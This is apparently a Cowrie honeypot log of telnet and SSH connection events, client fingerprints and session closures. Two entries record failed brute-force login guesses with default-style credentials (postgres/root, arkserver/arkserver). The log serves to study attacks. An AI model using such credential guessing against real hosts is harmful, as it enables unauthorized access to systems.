{"eventid":"cowrie.session.closed","duration":31.132380723953247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:17.890595Z","src_ip":"23.111.140.22","session":"988c03357d04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49298,"dst_ip":"10.17.0.5","dst_port":23,"session":"b82313729f55","protocol":"telnet","message":"New connection: 23.111.140.22:49298 (10.17.0.5:23) [session: b82313729f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:19.842361Z"}
{"eventid":"cowrie.session.closed","duration":31.538817882537842,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:20.058105Z","src_ip":"23.111.140.22","session":"d167f551567b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":53008,"dst_ip":"10.17.0.5","dst_port":22,"session":"5aa4811df811","protocol":"ssh","message":"New connection: 202.145.0.61:53008 (10.17.0.5:22) [session: 5aa4811df811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:20.686576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:20.691246Z","src_ip":"202.145.0.61","session":"5aa4811df811","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:20.931921Z","src_ip":"202.145.0.61","session":"5aa4811df811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.002978563308716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:21.363871Z","src_ip":"23.111.140.22","session":"11423d7c3e10","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"root","message":"login attempt [postgres/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:21.923527Z","src_ip":"202.145.0.61","session":"5aa4811df811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.599815130233765,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:22.621776Z","src_ip":"23.111.140.22","session":"6d8f3b67d2f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39598,"dst_ip":"159.203.135.109","dst_port":23,"session":"5eba11e343a3","protocol":"telnet","message":"New connection: 174.138.46.234:39598 (159.203.135.109:23) [session: 5eba11e343a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:22.919202Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59084,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac9f92521289","protocol":"telnet","message":"New connection: 23.111.140.22:59084 (10.17.0.5:23) [session: ac9f92521289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:23.011823Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39648,"dst_ip":"159.203.135.109","dst_port":23,"session":"702fa4e7dae0","protocol":"telnet","message":"New connection: 174.138.46.234:39648 (159.203.135.109:23) [session: 702fa4e7dae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:23.096228Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:23.165683Z","src_ip":"202.145.0.61","session":"5aa4811df811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39746,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc21b876e639","protocol":"telnet","message":"New connection: 174.138.46.234:39746 (159.203.135.109:23) [session: cc21b876e639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:23.457349Z"}
{"eventid":"cowrie.session.closed","duration":31.241615772247314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:24.860205Z","src_ip":"23.111.140.22","session":"6300a697d4ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40150,"dst_ip":"159.203.135.109","dst_port":23,"session":"de4e76e37c69","protocol":"telnet","message":"New connection: 174.138.46.234:40150 (159.203.135.109:23) [session: de4e76e37c69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:24.940696Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40040,"dst_ip":"159.203.135.109","dst_port":23,"session":"9aa1e52d4303","protocol":"telnet","message":"New connection: 174.138.46.234:40040 (159.203.135.109:23) [session: 9aa1e52d4303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:25.525468Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51264,"dst_ip":"10.17.0.5","dst_port":23,"session":"f748a5ac2289","protocol":"telnet","message":"New connection: 23.111.140.22:51264 (10.17.0.5:23) [session: f748a5ac2289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:26.402215Z"}
{"eventid":"cowrie.session.closed","duration":49.27970814704895,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:27.898875Z","src_ip":"174.138.46.234","session":"a8d3321a2432","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.215779542922974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:27.947756Z","src_ip":"23.111.140.22","session":"14aca4ec50df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.769056797027588,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:28.865174Z","src_ip":"174.138.46.234","session":"702fa4e7dae0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.820509433746338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:29.022831Z","src_ip":"23.111.140.22","session":"963a140e878b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49106,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b8d283f6708","protocol":"telnet","message":"New connection: 23.111.140.22:49106 (10.17.0.5:23) [session: 4b8d283f6708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:29.428880Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40984,"dst_ip":"10.17.0.5","dst_port":23,"session":"80f7d8766040","protocol":"telnet","message":"New connection: 23.111.140.22:40984 (10.17.0.5:23) [session: 80f7d8766040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:29.602749Z"}
{"eventid":"cowrie.session.closed","duration":5.199703931808472,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:30.140199Z","src_ip":"174.138.46.234","session":"de4e76e37c69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.9800355434417725,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:30.505402Z","src_ip":"174.138.46.234","session":"9aa1e52d4303","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.460150480270386,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:30.694754Z","src_ip":"23.111.140.22","session":"4e84a5fbe0c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.170557260513306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:31.237026Z","src_ip":"23.111.140.22","session":"9fa44500e7fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.496082782745361,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:31.953325Z","src_ip":"174.138.46.234","session":"cc21b876e639","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25137758255005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:32.960446Z","src_ip":"23.111.140.22","session":"a99e9529950b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.96696138381958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:33.953691Z","src_ip":"23.111.140.22","session":"6f5e91cce1ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39942,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eec52d246ec","protocol":"telnet","message":"New connection: 23.111.140.22:39942 (10.17.0.5:23) [session: 7eec52d246ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:35.162356Z"}
{"eventid":"cowrie.session.closed","duration":31.888364791870117,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:37.481612Z","src_ip":"23.111.140.22","session":"1f4d748cfde0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47158,"dst_ip":"10.17.0.5","dst_port":23,"session":"f99d4f4d6be8","protocol":"telnet","message":"New connection: 23.111.140.22:47158 (10.17.0.5:23) [session: f99d4f4d6be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:37.766539Z"}
{"eventid":"cowrie.session.closed","duration":30.83903455734253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:37.828431Z","src_ip":"23.111.140.22","session":"d8e9f4e156df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45572,"dst_ip":"10.17.0.5","dst_port":23,"session":"b726d60e120f","protocol":"telnet","message":"New connection: 23.111.140.22:45572 (10.17.0.5:23) [session: b726d60e120f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:38.144077Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47906,"dst_ip":"10.17.0.5","dst_port":23,"session":"f41e049218f1","protocol":"telnet","message":"New connection: 23.111.140.22:47906 (10.17.0.5:23) [session: f41e049218f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:39.000288Z"}
{"eventid":"cowrie.session.closed","duration":31.412315607070923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:41.142928Z","src_ip":"23.111.140.22","session":"c3df09f033c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.60609483718872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:41.230938Z","src_ip":"23.111.140.22","session":"5e2c8193a4a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60226,"dst_ip":"10.17.0.5","dst_port":23,"session":"05dd84d49f58","protocol":"telnet","message":"New connection: 23.111.140.22:60226 (10.17.0.5:23) [session: 05dd84d49f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:46.532114Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43584,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c5ef4c8a936","protocol":"telnet","message":"New connection: 23.111.140.22:43584 (10.17.0.5:23) [session: 0c5ef4c8a936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:47.694273Z"}
{"eventid":"cowrie.session.closed","duration":30.25286555290222,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:50.095112Z","src_ip":"23.111.140.22","session":"b82313729f55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":50018,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d5a96e9399f","protocol":"ssh","message":"New connection: 135.235.138.43:50018 (10.17.0.5:22) [session: 1d5a96e9399f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:50.775643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:50.783567Z","src_ip":"135.235.138.43","session":"1d5a96e9399f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:50.976429Z","src_ip":"135.235.138.43","session":"1d5a96e9399f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arkserver","password":"arkserver","message":"login attempt [arkserver/arkserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:51.779824Z","src_ip":"135.235.138.43","session":"1d5a96e9399f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.74133324623108,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:52.230365Z","src_ip":"23.111.140.22","session":"de14b5533eac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54748,"dst_ip":"10.17.0.5","dst_port":23,"session":"52665f810fdd","protocol":"telnet","message":"New connection: 23.111.140.22:54748 (10.17.0.5:23) [session: 52665f810fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:52.642010Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:52.980099Z","src_ip":"135.235.138.43","session":"1d5a96e9399f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.666381359100342,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:54.678084Z","src_ip":"23.111.140.22","session":"ac9f92521289","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42920,"dst_ip":"10.17.0.5","dst_port":23,"session":"21765b85b2b8","protocol":"telnet","message":"New connection: 23.111.140.22:42920 (10.17.0.5:23) [session: 21765b85b2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:34:56.413573Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53788,"dst_ip":"10.17.0.5","dst_port":23,"session":"15e553e27b4c","protocol":"telnet","message":"New connection: 23.111.140.22:53788 (10.17.0.5:23) [session: 15e553e27b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:00.292657Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37872,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfbd24b588eb","protocol":"telnet","message":"New connection: 23.111.140.22:37872 (10.17.0.5:23) [session: bfbd24b588eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:00.676264Z"}
{"eventid":"cowrie.session.closed","duration":31.77643370628357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:01.205213Z","src_ip":"23.111.140.22","session":"4b8d283f6708","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57900,"dst_ip":"10.17.0.5","dst_port":23,"session":"48487ace42e6","protocol":"telnet","message":"New connection: 23.111.140.22:57900 (10.17.0.5:23) [session: 48487ace42e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:01.588102Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38756,"dst_ip":"10.17.0.5","dst_port":23,"session":"94babd65207c","protocol":"telnet","message":"New connection: 23.111.140.22:38756 (10.17.0.5:23) [session: 94babd65207c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:04.846110Z"}
{"eventid":"cowrie.session.closed","duration":31.330992937088013,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:06.493234Z","src_ip":"23.111.140.22","session":"7eec52d246ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50258,"dst_ip":"10.17.0.5","dst_port":23,"session":"7535251a2fa2","protocol":"telnet","message":"New connection: 23.111.140.22:50258 (10.17.0.5:23) [session: 7535251a2fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:08.393751Z"}
{"eventid":"cowrie.session.closed","duration":30.739877700805664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:08.506360Z","src_ip":"23.111.140.22","session":"f99d4f4d6be8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41114,"dst_ip":"10.17.0.5","dst_port":23,"session":"17f5bc669053","protocol":"telnet","message":"New connection: 23.111.140.22:41114 (10.17.0.5:23) [session: 17f5bc669053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:08.622029Z"}
{"eventid":"cowrie.session.closed","duration":31.155617475509644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:09.299613Z","src_ip":"23.111.140.22","session":"b726d60e120f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.66801166534424,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:09.587121Z","src_ip":"174.138.46.234","session":"5eba11e343a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49768,"dst_ip":"10.17.0.5","dst_port":23,"session":"3430777adbc9","protocol":"telnet","message":"New connection: 23.111.140.22:49768 (10.17.0.5:23) [session: 3430777adbc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:10.282347Z"}
{"eventid":"cowrie.session.closed","duration":31.756131410598755,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:10.756236Z","src_ip":"23.111.140.22","session":"f41e049218f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.241687059402466,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:10.844313Z","src_ip":"23.111.140.22","session":"80f7d8766040","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":41862,"dst_ip":"10.17.0.5","dst_port":22,"session":"d94ebc90e279","protocol":"ssh","message":"New connection: 202.145.0.61:41862 (10.17.0.5:22) [session: d94ebc90e279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:15.091199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:15.097166Z","src_ip":"202.145.0.61","session":"d94ebc90e279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:35:15.333832Z","src_ip":"202.145.0.61","session":"d94ebc90e279","protocol":"ssh"}
